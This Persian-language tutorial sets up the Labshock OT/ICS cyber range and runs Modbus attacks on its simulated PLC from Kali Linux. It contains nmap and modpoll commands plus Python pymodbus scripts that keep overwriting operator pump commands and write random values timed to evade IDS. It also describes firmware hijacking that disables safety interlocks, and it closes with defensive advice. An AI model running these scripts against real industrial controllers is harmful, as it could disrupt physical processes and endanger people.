ارزیابی امنیتی و تست نفوذ شبکه صنعتی (OT & ICS) در محیط Labshock: راهنمای تست نفوذ عملی
این گزارش فرآیند نصب و راهاندازی Labshock، بررسی معماری و ماژولهای آن، اجرای مجموعهای از حملات سایبری هدفمند با ابزارهای Kali Linux، و تحلیل نتایج را بهصورت جامع شرح میدهد. تصاویر و اسکرینشاتها برای مستندسازی دقیق مراحل و نتایج در بخشهای مربوطه قرار داده شده است.
خلاصه تخصصی مقاله
این گزارش فرآیند نصب و راهاندازی Labshock، بررسی معماری و ماژولهای آن، اجرای مجموعهای از حملات سایبری هدفمند با ابزارهای Kali Linux، و تحلیل نتایج را بهصورت جامع شرح میدهد. تصاویر و اسکرینشاتها برای مستندسازی دقیق مراحل و نتایج در بخشهای مربوطه قرار داده شده است.
موضوعات اصلی: فایروال، حمله، PLC، 168، استفاده، Modbus
فهرست مطالب
چکیده اجرایی
در عصری که زیرساختهای حیاتی مانند نیروگاهها، پالایشگاهها و خطوط تولید بیش از پیش به فناوریهای دیجیتال وابستهاند، تهدیدات سایبری علیه سیستمهای کنترل صنعتی (ICS) و فناوری عملیاتی (OT) به یکی از چالشهای اصلی تبدیل شدهاند. پلتفرم متنباز Labshock بهعنوان یک Cyber Range قدرتمند، امکان شبیهسازی محیطهای OT/ICS را فراهم میکند تا متخصصان بتوانند بدون ریسک آسیب به تجهیزات واقعی، سناریوهای حمله و دفاع را آزمایش کنند. این گزارش فرآیند نصب و راهاندازی Labshock، بررسی معماری و ماژولهای آن، اجرای مجموعهای از حملات سایبری هدفمند با ابزارهای Kali Linux، و تحلیل نتایج را بهصورت جامع شرح میدهد. از حملات ساده مانند دستکاری Coil تا تکنیکهای پیشرفتهتر مانند تزریق منطق مخرب و راهنمایی عملی برای تقویت امنیت زیرساختهای صنعتی ارائه میدهد. همچنین تصاویر و اسکرینشاتها برای مستندسازی دقیق مراحل و نتایج در بخشهای مربوطه قرار داده شده است.
مقدمه: چرا امنیت OT/ICS اینقدر حیاتی است؟
تصور کنید یک خط تولید خودرو به دلیل دستکاری سایبری متوقف شود، یا یک پمپ آب در تصفیهخانه از کار بیفتد و شهر را با بحران مواجه کند. این سناریوها دیگر فقط داستانهای علمی-تخیلی نیستند؛ حملاتی مثل Stuxnet(2010) و حمله به شبکه برق اوکراین (۲۰۱۵) نشان دادهاند که سیستمهای OT/ICS میتوانند هدف مهاجمان سایبری قرار بگیرند. برخلاف شبکههای IT که تمرکز اصلیشان روی محرمانگی (Confidentiality) دادههاست، در OT اولویت با دسترسیپذیری (Availability) و یکپارچگی (Integrity) فرآیندهای فیزیکی است. یک نقص کوچک میتواند خسارات مالی، زیستمحیطی یا حتی جانی به همراه داشته باشد.
پروتکلهای قدیمی مثل Modbus TCP ، DNP3 و S7comm که در دهههای گذشته طراحی شدهاند، اغلب فاقد احراز هویت (Authentication) یا رمزنگاری (Encryption) هستند. این یعنی یک مهاجم با دسترسی به شبکه میتواند به راحتی دستورات مخرب ارسال کند. همگرایی IT/OT (IT/OT Convergence) هم سطح حمله (Attack Surface) را گسترش داده و نیاز به آزمایشهای عملیاتی را بیشتر کرده است. اینجا جایی است که Labshock وارد بازی میشود – یک محیط شبیهسازی متنباز که با استفاده از Docker، یک شبکه صنعتی کامل را شبیهسازی میکند و به ما اجازه میدهد حملات را تست کنیم، نقاط ضعف را پیدا کنیم و راهکارهای دفاعی را ارزیابی کنیم.
هدف این مستند این است که با زبانی ساده اما فنی، شما را با Labshock، کاوش در ماژولهای آن، و اجرای حملات سایبری آشنا کند. چه یک کارشناس عمومی باشید که تازه وارد دنیای OT شده و چه یک متخصص ارشد که به دنبال تکنیکهای پیشرفته است، این گزارش مطالب بروز و ارزشمندی برای ارائه به شما دارد.
بخش اول: نصب و راهاندازی Labshock
پیشنیازها
برای شروع، به یک سیستم با مشخصات زیر نیاز دارید
- سیستمعاملUbuntu 20.04 یا بالاتر (هر لینوکس مدرن یا حتی Windows/Mac با Docker Desktop)
- منابع سختافزاری
1. CPU : حداقل ۴ هسته (توصیهشده: ۸ هسته با Virtualization Extensions)
2. RAM : حداقل ۸ گیگابایت (توصیهشده: ۱۶ گیگابایت)
3. فضای ذخیرهسازی: ۲۰ گیگابایت (توصیهشده: ۵۰ گیگابایت SSD)
- نرمافزارDocker Engine (نسخه ≥20.10) و Docker Compose (نسخه ≥1.29)
- شبکهدسترسی به پورتهای 80، 443، 502 (Modbus)، 8080، و غیره
مراحل نصب Labshock
1.کلون کردن مخزن
git clone https://github.com/zakharb/labshock.git
cd labshock
2.اجرای کانتینرها(با VPN روشن)
docker compose up -d --build
راهاندازی پروژه LabShock و اجرای کانتینرها از طریق Docker Compose
این دستور تمام کانتینرها ( PLC، SCADA، IDS و غیره) را در حالت Detached بالا می آورد. با docker ps مطمئن بشوید همه کانتینرها در وضعیت Up هستند.
3.دسترسی به پرتالبرای دسترسی به پنل، با نام کاربری labshock و کلمه عبور labshock به آدرس http://localhost وارد شوید.
صفحه لاگین پورتال LabShock روی هاست محلی (http://localhost)
نمایی از پورتال صنعتی Labshock با دسترسی به سرویسهای SCADA، PLC، EWS، PENTEST ،IDS ،LOGS
معماری شبکه Labshock
Labshock از یک معماری دوبخشی (Dual-Segment) استفاده میکند که Purdue Model را شبیهسازی میکند
- l2_network (192.168.2.0/24) : لایه عملیاتی (OT) با سرویسهایی همانند PLC و SCADA.
- l3_network (192.168.3.0/24) : لایه مدیریتی (IT/DMZ) همراه SIEM و فایروال.
- روتر مجازی: با IPهای 192.168.2.254 و 192.168.3.254 این دو شبکه (l2_network و l3_network) را متصل میکند.
جدول آدرسدهی سرویسها
| IP اختصاصی | شبکه | سرویس |
| 192.168.2.10 | l2_network | PLC (OpenPLC) |
| 192.168.3.20 | l3_network | SCADA (FUXA) |
| 192.168.3.11 | l3_network | EWS |
| 192.168.3.30 | l3_network | Pentest Fury |
| 192.168.3.240 | l3_network | Collector |
این جداسازی باعث می شود سناریوهای حمله واقعیتر جلوه کند.
بخش دوم: کاوش در ماژولهای Labshock
پرتال Labshock چهار تب اصلی دارد: OT، DMZ، IT وdocs . در ادامه هر کدام را با جزئیات بررسی می کنیم.
تب :OT قلب تپنده عملیات صنعتی
تب OT حساسترین لایه شبکهاست و قسمتی است که در آن فرایندهای صنعتی شبیهسازی شده و فرآیندهای فیزیکی کنترل میشوند.
- SCADA (Supervisory Control and Data Acquisition)رابط انسان و ماشین (HMI) سیستم که وضعیت فرآیند (مانند دو پمپ شبیهسازی شده) را به صورت گرافیکی نمایش میدهد و به اپراتور اجازه کنترل میدهد. این همان نقطهای است که نتایج حملات به صورت بصری قابل مشاهده خواهد بود.
با کلیک رویSCADA یا رفتن به آدرسhttp://localhost:1881 وارد محیط مربوطه میشویم. در حالت پیشفرض دو پمپ (Pump 1 وPump 2 ) با قابلیت on/off داریم.
رابط گرافیکی HMI در محیط SCADA
در منوی پایین سمت چپ قسمت Editor قرار گرفته است که در آن قادر به تنظیم موارد زیر هستیم
- User Interface : تنظیم View و Layout برای HMIو ...
- Misc : مدیریت اتصالات (Connection)، نقشها (RBAC )، کاربران و پلاگین و ...
- Logic : تنظیم Alarmها و Notificationها. پشتیبانی از پروتکلهای صنعتی (Modbus TCP/RTU ، S7، OPC-UA ،MQTT ) و قابلیت مانیتورینگ بلادرنگ و ...
بخش Editor، امکان تنظیم رابط کاربری HMI، مدیریت کاربران و نقشها، و پیکربندی منطق سیستم شامل آلارمها، نوتیفیکیشنها و پروتکلهای صنعتی
- PLC (Programmable Logic Controller)مغز متفکر فرآیند که منطق کنترل را اجرا میکند. Labshock ازOpenPLC استفاده میکند که پنل مدیریتی کاملی برای مشاهده وضعیت، بارگذاری برنامه و مدیریت دستگاههای متصل دارد.
با کلیک رویPLC یا رفتن به آدرس http://localhost:8080 (نام کاربری:openplc کلمه عبور: openplc) وارد میشویم. تبهای کلیدی عبارت اند از
- Dashboard : مانیتورینگ زنده موتورها و پمپها.
- Program : بارگذاری کد به زبانهای IEC 61131-3 (مثل Ladder Logic ).
- Slave Devices : پیکربندی Modbus/DNP3.
- Monitoring : نظارت I/O و تایمرها.
- Hardware : تنظیمات سختافزار مجازی.
- Users/Settings : مدیریت دسترسی و شبکه.
- Start/Stop : کنترل PLC.
پنل Monitoring در OpenPLC، نمایش بلادرنگ وضعیت ورودی/خروجیهای دیجیتال و آنالوگ، شامل سرعت، فشار و وضعیت شیرهای پمپ
- EWS (Engineering Workstation) : ایستگاه کاری مهندسی که برای برنامه نویسی و برنامهریزی و پیکربندی PLC و SCADA استفاده میشود. این سیستم به دلیل دسترسی سطح بالا به تجهیزاتOT، یکی از اهداف اصلی مهاجمان در سناریوهای واقعی است.
با کلیک رویEWS یا رفتن به آدرس http://localhost:5911/vnc.html (کلمه عبور: engineering) محیطی شبیه Windows 10 با IDE برای OpenPLC و ابزارهای توسعه را مشاهده میکنیم. این محیط برای تست سریع تغییرات و اتصال به SCADA/PLCاستفاده میشود.
ایستگاه کاری مهندسی (EWS) با محیطی شبیه Windows 10 و ابزارهای توسعه همانند IDE برای OpenPLC
Pentest Furyاین پلتفرم ابزارهای داخلی برای تست نفوذ دارد. با این حال، ما در این مستند از ابزارهای خارجی برای شبیهسازی یک حمله واقعگرایانهتر استفاده خواهیم کرد. با کلیک روی گزینه مربوطه یا رفتن به آدرسhttp://localhost:3443 وارد محیط ذکر شده میشویم. ابزارهای زیر در این محیط نصب شده و آماده اجرا هستند
- Nmap : اسکن شبکه و هاست.
- Modbus : دستورات Coil /Register و Stress Tests
- DNP3/S7 : ابزارهای پروتکلمحور.
- Hosts/Agents : مدیریت تستهای توزیعشده.
بخشی از محیط Pentest Fury که به اجرای حملات مبتنی بر پروتکل Modbus اختصاص دارد؛ شامل قابلیتهایی برای خواندن و نوشتن کویلها
ثبت دائمی یا تصادفی دادهها، و تستهای فشار روی تجهیزات صنعتی. نتایج هر عملیات در کنسول سمت راست قابل مشاهده و تحلیل هستند.
- IDS (Network Swiftness)یک سیستم تشخیص نفوذ داخلی برای نظارت بر ترافیک شبکه OT و شناسایی فعالیتهای مشکوک مبتنی بر Suricata/Snort دارد.
- با کلیک روی گزینه مربوطه یا http://localhost:1443 وارد IDS میشویم که دارای قسمتهای زیر است
- IDS Alerts : هشدارهای بلادرنگ.
- Live Packets : ترافیک زنده.
- Host Communication : تحلیل ارتباطات.
- PCAPs : ذخیره پکتها برای آنالیز.
- Visual Network View : نمایش توپولوژی.
- Settings : شخصیسازی قوانین.
بخشی از سیستم تشخیص نفوذ داخلی (IDS) که پیامهای بلادرنگ مربوط به ارتباطات شبکه را نمایش میدهد؛
این بخش با ثبت اتصالهای جدید بین میزبانها، امکان شناسایی فعالیتهای مشکوک در شبکه OT را فراهم میسازد.
- Collector و Logs : لاگها با کامند tail -f /var/log/openplc.log یا از http://localhost:2443 قابل بررسیاند.
تب DMZ : لایه میانی امنیتی
شامل سرویسهایی مثل
- Firewall Service: بازرسی بستههای دارای وضعیت
- Transfer Service: انتقال امن داده
- Remote Service: (Jump Server)دسترسی ریموت
- Pentest Fury/Tidal Collector/Data Gateway: برای تست و جمعآوری داده
تبIT تحلیل و مدیریتاین لایه شامل سرویسهای استاندارد IT مانند SIEM (Splunk) برای جمعآوری و تحلیل لاگها از تمام بخشهای شبکه است. نظارت بر لاگهای SIEM یکی از راههای اصلی کشف حملات در حال وقوع است.
شامل
SIEM (Splunk) : همبستهسازی لاگها برای SOC که از طریق لینک
http://localhost:8443/en-US/app/launcher/home (نام کاربری:admin کلمه عبور:labshock) قابل دسترس است.
نمایی از محیط Splunk در نقش SIEM. ابزاری برای همبستهسازی لاگها و تحلیل دادههای امنیتی در مرکز عملیات امنیت (SOC)؛
با قابلیت دسترسی به اپلیکیشنهای تحلیلی، داشبوردها و هشدارها برای پایش و پاسخگویی سریع به تهدیدات سایبری
- OT Data Service : ذخیره دادههای صنعتی (Historian)
- Remote Service : مدیریت دسترسی
تب Docs : راهنمای کامل
مستندات فنی و FAQ برای پیکربندی و عیبیابی.
بخش سوم: اجرای حملات سایبری با استفاده از Kali Linux
برای شبیهسازی یک مهاجم واقعی، به جای ابزارهای داخلی Labshock ازKali Linux استفاده میکنیم که به شبکه Docker متصل است. حملات روی پروتکل Modbus TCP متمرکز است، چرا که این پروتکل به دلیل فقدان احراز هویت و رمزنگاری، آسیبپذیر است.
فاز شناسایی :(Reconnaissance)
در ابتدا با استفاده از ابزار nmap شبکه را نقشه برداری میکنیم: nmap -sS -p- -sV -O -A 192.168.2.0/24
- sSاجرایSYN اسکن یا "نیمهباز" که سریع و نسبتاً مخفیانه است؛ برای شناسایی پورتهای باز بدون برقراری اتصال کامل.
- pاسکن تمام پورتهای ممکن (از ۱ تا ۶۵۵۳۵) برای هر هاست.
- sVتشخیص نسخه سرویسهای فعال روی پورتهای باز.
- Oتلاش برای شناسایی نوع سیستمعامل هدف.
- Aفعالسازی مجموعهای از قابلیتهای پیشرفته شامل تشخیص نسخه، سیستمعامل، اسکریپتهای پیشفرض و traceroute
- 192.168.2.0/24محدوده آدرسهای IP در یک شبکه کلاس C شامل ۲۵۴ هاست (از 192.168.2.1 تا 192.168.2.254).
با استفاده از ابزار Nmap، شبکه مورد بررسی قرار گرفته و تارگت 192.168.2.10 با پورتهای باز 502 و 8080 شناسایی شده است؛
پورت 502 بهعنوان درگاه اصلی پروتکل Modbus اهمیت بالایی دارد و میتواند نقطه شروعی برای تحلیل انواع آسیبپذیری و حملههای صنعتی باشد.
نکته مهم در محیط ICS
در دنیای واقعی، اسکن سنگین مثل -p- و-A روی PLC ممکنه باعث کرش یا از کار افتادن دستگاه بشود.
ولی در Labshock در محیط شبیه ساز قرار داریم و میتوانیم از پارامترهای مذکور استفاده کنیم.
پیشنهاد
1. ابتدا شروع به کشف Live Hosts در شبکه میکنیم.
nmap -sn 192.168.2.0/24
- snاجرای اسکن بدون بررسی پورتها؛ فقط بررسی میکند که کدام دستگاهها در شبکه روشن و قابل دسترسی هستند .
2. سپس هر آیپی کشف شده را جداگانه اسکن میکنیم.
nmap -sS -p- -sV -O -A 192.168.2.10
nmap -sS -p- -sV -O -A 192.168.3.20
برای شناسایی دستگاههای Modbus
https://www.modbusdriver.com/modpoll.html
ابزارmodpollیک شبیهساز خط فرمان برای پروتکل Modbus است که بهعنوانModbus Masterعمل میکند و برای تست، دیباگ، خواندن و نوشتن داده تجهیزات صنعتی مانند PLC و سنسور استفاده میشود. این ابزار از Modbus RTU،TCP و UDP پشتیبانی میکند و در محیطهای صنعتی و آزمایشگاهی کاربرد دارد.
./modpoll -m tcp -t 0 -r 1 -c .2.10
m tcpاستفاده از پروتکل Modbus TCP برای اتصال.
t 0نوع داده خواندهشده ، در اینجا Holding Registerاست.
r 1شروع خواندن از آدرس رجیستر شماره 1.
c 10تعداد 10 رجیستر، متوالی خوانده میشود.
192.168.2.10آدرس IP دستگاه مقصد (Slave).
در این تصویر، خروجی ابزار modpoll نشان میدهد که کویل شماره [1]: 1 فعال (روشن) است، در حالی که کویل [2]
0 غیرفعال (خاموش) باقی مانده؛ این وضعیت میتواند نشاندهنده عملکرد یک تجهیز صنعتی مانند پمپ یا شیر باشد.
حملات روی Coil و Register
در ادامه ازmodpoll برای حملات ساده و از اسکریپتهای سفارشی Python برای حملات پیشرفته استفاده میکنیم.
۱. حمله Read Coil
هدفاستخراج وضعیت دیجیتال (مثل روشن/خاموش بودن پمپ) برای جمعآوری اطلاعات بدون ایجاد تغییر.
modpoll -m tcp -t 0 -r 1 -c .2.10
خروجی نشان میدهد که کویلهای [1] و [9] فعال هستند، که در تصویر بعدی نیز با روشن بودن پمپ در محیط SCADA تأیید میشود.
پمپهای 1 و 2 با نشانگرهای فعال مشخص شدهاند، که با دادههای استخراجشده از حمله Read Coil در modpoll (کویلهای [1] و [9] فعال) مطابقت دارد.
۲. حمله Write Coil
هدفتغییر وضعیت یک Coil (مثلاً خاموش کردن پمپ) برای اختلال در فرآیند.
./modpoll -m tcp -t 0 -r 1 192.168.2.10 0
اجرای حمله Write Coil برای تغییر وضعیت کویل شماره 1 به مقدار 0 که این عملیات باعث خاموش شدن پمپ در سیستم هدف شده
که در تصویر بعدی محیط SCADA نیز با غیرفعال شدن پمپ تأیید میشود.
نمایی از محیط SCADA پس از اجرای حمله Write Coil که مقدار کویل شماره 1 به 0 تغییر داده شده است. در نتیجه، پمپ 1 خاموش شده
و نشانگر وضعیت آن غیرفعال است که این عملیات تأیید بصری بر تأثیر مستقیم دستورات modpoll در اختلال فرآیند صنعتی دارد.
۳. حمله :Permanent Write
هدف: تثبیت وضعیت Coil حتی پس از تلاش اپراتور برای تغییر آن – یه جور Cyber-Persistence حساب می شود که در یک حلقه مداوم عملیات Write را انجام میدهیم تا تغییرات صورت گرفته توسط اپراتور بازنویسی شود.برای انجام این عملیات یک اسکریپت سفارشی مینویسیم.
این اسکریپت با استفاده از کتابخانه pymodbus بهعنوان یک Modbus TCP Client به PLC متصل میشود و در یک حلقه بیپایان، مقادیر خاصی را به یک Coil و یک Register مینویسد. هدف آن اجرای یک حمله Permanent Write است؛ یعنی تثبیت وضعیت خروجیها بهگونهای که هرگونه تلاش اپراتور برای تغییر آنها بلافاصله بازنویسی شود.
نصب کتابخانه مورد نیاز
برای اجرای این اسکریپت، ابتدا باید کتابخانه pymodbus نصب شود
pip install pymodbus
تحلیل کد
from pymodbus.client import ModbusTcpClient
وارد کردن کلاس ModbusTcpClient برای ایجاد اتصال TCP با PLC
PLC_IP = "192.168.2.10"
PLC_PORT = 502
تعریف آدرس IP و پورت استاندارد Modbus برای اتصال به PLC
client = ModbusTcpClient(PLC_IP, port=PLC_PORT)
ایجاد شیء اتصال به PLC
if client.connect()
بررسی موفقیت اتصال و آغاز حمله.
while True
client.write_coil(0, False)
client.write_register(10, 100)
time.sleep(0.5)
در این حلقه بیپایان
- مقدار False (خاموش) به Coil شماره 0 نوشته میشود؛ مثلاً خاموش کردن یک پمپ.
- مقدار 100 به Register شماره 10 نوشته میشود؛ مثلاً تنظیم سرعت یا فشار.
- این عملیات هر 0.5 ثانیه تکرار میشود تا هرگونه تغییر توسط اپراتور بلافاصله بازنویسی شود.
در صورت عدم اتصال، پیام خطا نمایش داده میشود.
حمله Permanent Write با استفاده از اسکریپت Python و کتابخانه pymodbus
حال با دستور python permanent-write.py اسکریپت را اجرا میکنیم
اجرای این اسکریپت را مشاهده میکنیم که پیامهای مربوط به نوشتن Coil و Register بهصورت مداوم چاپ میشوند.
هم اکنون اگر اپراتور SCADA دما و یا وضعیت پمپ را تغییر دهد، تغییرات اپراتور بلافاصله توسط اسکریپت نوشته شده بازنویسی میشوند.
محیط SCADA نشان میدهد که نشانگر سوئیچ پمپ 1 فعال است (وضعیت منطقی TRUE)، اما در واقعیت پمپ 1 خاموش میباشد.
این تناقض ناشی از حمله Permanent Write است که وضعیت واقعی را با نوشتن مداوم مقدار False به Coil پنهان کرده است.
۴. حمله :Random Write
هدفایجاد رفتار تصادفی برای سردرگم کردن اپراتور و تولید آلارمهای ناخواسته.
یکی از حملات شایع بر روی ICS حمله Random Write است، یعنی در هر لحظه مقادیر تصادفی در PLC نوشته می شود. روش کار به این صورت است که در یک حلقه مداوم، بهطور تصادفی یک کویل یا رجیستر انتخاب شده و مقدار تصادفی در آن نوشته می شود
import time
import random
from pymodbus.client import ModbusTcpClient
وارد کردن کتابخانههای مورد نیاز
- time برای ایجاد تأخیر بین عملیاتها.
- random برای انتخاب تصادفی هدف (کویل یا رجیستر) و مقدار.
- ModbusTcpClient جهت برقراری ارتباط TCP با PLC
PLC_IP = "192.168.2.10"
PLC_PORT = 502
تعریف آدرس IP و پورت استاندارد Modbus برای اتصال به PLC
client = ModbusTcpClient(PLC_IP, port=PLC_PORT)
ایجاد شیء ارتباطی برای اتصال به PLC
if client.connect()
بررسی موفقیت اتصال و آغاز حمله در صورت برقراری ارتباط.
while True
target = random.choice(["coil", "register"])
در هر چرخه از حلقه بیپایان، هدف حمله بهصورت تصادفی بین کویل یا رجیستر انتخاب میشود.
if target == "coil"
address = random.randint(0, 9)
value = random.choice([True, False])
rr = client.write_coil(address, value)
در صورت انتخاب کویل
- یک آدرس تصادفی بین ۰ تا ۹ انتخاب میشود.
- مقدار تصادفی (True/False) در آن نوشته خواهد شد؛ مانند روشن یا خاموش شدن یک پمپ یا شیر.
else
address = random.randint(0, 9)
value = random.randint(0, 5000)
rr = client.write_register(address, value)
در صورت انتخاب رجیستر
- یک آدرس تصادفی بین ۰ تا ۹ انتخاب میشود.
- مقدار عددی تصادفی (بین ۰ تا ۵۰۰۰) در آن نوشته میشود؛ مثلاً تغییر ناگهانی فشار یا دمای سیستم.
time.sleep(random.uniform(0.5, 2.0))
ایجاد تأخیر تصادفی بین ۰.۵ تا ۲ ثانیه برای هر عملیات؛ این امر موجب میگردد حمله طبیعیتر جلوه کرده و شناسایی آن توسط سیستمهای تشخیص نفوذ (IDS/IPS) دشوارتر شود.
نمونهای از حمله Random Write با استفاده از اسکریپت Python؛ روشی مؤثر برای ایجاد آلارمهای ناخواسته و اختلال در فرآیند صنعتی
نمایی از محیط SCADA پس از اجرای حمله Random Write؛ نوسانات غیرعادی در نمودار فشار و جریان
و خاموش بودن ناگهانی پمپ 1 در حالی که پمپ 2 فعال است، نشاندهنده تأثیر مستقیم دستورات تصادفی روی رفتار سیستم است.
علاوه بر حملات ذکر شده، سناریوهای پیچیدهتری هم وجود دارد که میتوانند به شدت خطرناک باشند
Man-in-the-Middle (MITM)با ابزارهایی همانند Ettercap و یا Scapy ، می توان ترافیک Modbus را دستکاری کرد. به عنوان مثال با اجرای حمله ARP Spoofing ، مهاجم میتونه بین SCADA و PLC قرار گرفته و دستورات جعلی ارسال کند.
شبه کد
نمونهای از حمله Man-in-the-Middle با استفاده از کتابخانه Scapy؛ مهاجم با اجرای ARP Spoofing بین SCADA و PLC قرار گرفته و با شنود
و دستکاری بستههای Modbus TCP، امکان ارسال دستورات جعلی یا تغییر دادهها را فراهم می کند.
Ladder Logic Injectionتزریق کد مخرب به برنامه PLC برای ایجاد Backdoor .
برنامههای PLC که به صورت Ladder Logic نوشته میشوند، معمولاً یا در قالب فایلهایی مانند .lad ذخیره میشوند، یا از طریق محیطهای مهندسی (Engineering Software) روی PLC بارگذاری میگردند. یک مهاجم میتواند این فایل یا پروژه را تغییر داده و کد مخرب خود را به آن اضافه کند. برای انجام چنین تغییری لازم است از ابزارهای اختصاصی PLC مانند TIA Portal (زیمنس) یا RSLogix (راکول) استفاده شود. در تصویر زیر، یک نمونه شبهکد از نحوه اجرای این نوع حمله نمایش داده شده است.
نمونهای از حمله Ladder Logic Injection؛ مهاجم با ویرایش فایل .lad و افزودن شرطی مانند «اگر تایمر > ۱۰ ثانیه، خروجی پمپ را فعال کن»
یک backdoor در منطق کنترلی PLC ایجاد میکند. این تغییر بهسادگی میتواند بدون جلب توجه اپراتور اجرا شود و فرآیند صنعتی را از کنترل خارج کند.
Replay Attackضبط دستورات معتبر با Wireshark و بازپخش آنها برای تغییر وضعیت.
در تصویر زیر میتوانید شبه کد اجرای این حمله را مشاهده کنید
نمونهای از حمله Replay؛ مهاجم یک پکت معتبر Modbus (مثلاً فرمان روشنکردن پمپ) را با Wireshark یا Scapy ضبط کرده و
همان بسته را دوباره ارسال میکند. این حمله ساده اما مؤثر است و باعث اجرای مجدد دستورات حیاتی بدون نیاز به احراز هویت یا تغییر کد میشود.
Firmware Hijackingپچ کردن Firmware PLC برای غیرفعال کردن Safety Interlocks .
تغییر Firmware اصلی PLC و غیرفعالکردن safety . در تصویر زیر میتوانید شبه کد اجرای این حمله را مشاهده کنید
نمونهای از حمله Firmware Hijacking؛ مهاجم با تغییر در Firmware اصلی PLC (مثلاً حذف یا غیرفعالکردن تابع safety_check) میتواند کنترل کامل سیستم ایمنی را دور بزند.
آپلود فریمور دستکاریشده روی PLC باعث میشود رفتار دستگاه به ظاهر طبیعی باشد، اما حفاظتها عملاً بیاثر شوند.
Covert Channelاستفاده از Unused Registers برای Exfiltration (استخراج) داده.
نمونهای از حمله Covert Channel؛ مهاجم دادههای حساس (مثل رمزعبور یا کلید رمزنگاری) را در رجیسترهای بلااستفاده PLC پنهان میکند و
سپس آنها را از طریق پروتکل Modbus به بیرون منتقل میکند. این روش استخراج داده معمولاً از دید اپراتورها و IDSها پنهان میماند.
Timing-Based Evasionحملات آهسته برای فرار از Rate Limiting
نمونهای از حمله Timing-Based Evasion؛ مهاجم درخواستهای مخرب خود را با فاصلههای زمانی طولانی (مثلاً هر ۶۰ ثانیه یک بار) به PLC ارسال میکند.
این روش باعث میشود که الگوی حمله در ترافیک عادی شبکه پنهان شده و سامانههای تشخیص نفوذ (IDS) قادر به شناسایی سریع آن نباشند.
Privilege Escalation در EWSسوءاستفاده از CVEها برای رسیدن به دسترسی ادمین.
بخش چهارم: تحلیل و تشخیص حملات
با استفاده از IDS، ترافیک را بررسی میکنیم. حملات ساده همانند Write Coil ممکن است بهعنوان فعالیت عادی دیده شوند، چرا که Modbus سیستمی برای احراز هویت ندارد. در تب IT و در قسمت SIEM با استفاده از جستجو میتوانید تغییرات مشکوک را بیابید.
بخش پنجم: توصیههای دفاعی
برای تقویتSecurity Postureدر محیطهای :OT
- Network Segmentationدر Micro-Segmentation با Data Diodes و فایروالهای Protocol-Aware (DPI)
- Anomaly Detectionمدلهای ML-based برای تشخیص رفتار غیرعادی.
- Cryptographic Protectionاستفاده از TLS برای Modbus
- Honeypots صنعتیشبیهسازی PLCهای جعلی برای فریب مهاجمان.
- Complianceرعایت استانداردهای IEC 62443، NIST 800-82 و ISO 27001
بخش ششم: نتیجهگیری و لزوم اتخاذ رویکرد دفاع در عمق
این پژوهش عملی نشان داد که محیطهای شبیهسازی مانند Labshock ابزاری حیاتی برای درک و تحلیل تهدیدات سایبری در دنیای OT هستند. آسیبپذیریهای ذاتی در پروتکلهای صنعتی، در صورت عدم وجود کنترلهای امنیتی لایهای، به مهاجمان اجازه میدهند تا با دانش فنی متوسط، کنترل فرآیندهای فیزیکی را به دست گرفته و اختلالات جدی ایجاد کنند.
امنیت در دنیای OT یک محصول نیست، بلکه یک فرآیند مستمر است که نیازمند رویکرد دفاع در عمق
(Defense-in-Depth)دیدهبانی مداوم و درک عمیق از تکنیکها، تاکتیکها و رویههای (TTPs) مهاجمان است. پیادهسازی صحیحتقسیمبندی شبکهاستفاده ازسیستمهای تشخیص نفوذ ویژه OT و مانیتورینگ یکپارچه رفتار شبکهگامهای اساسی برای حفاظت از زیرساختهای حیاتی در برابر تهدیدات روزافزون سایبری هستند.
برای ارزیابی پایداری، امنیت و نگهداری این زیرساخت، راهنمای پشتیبانی شبکه را نیز مطالعه کنید.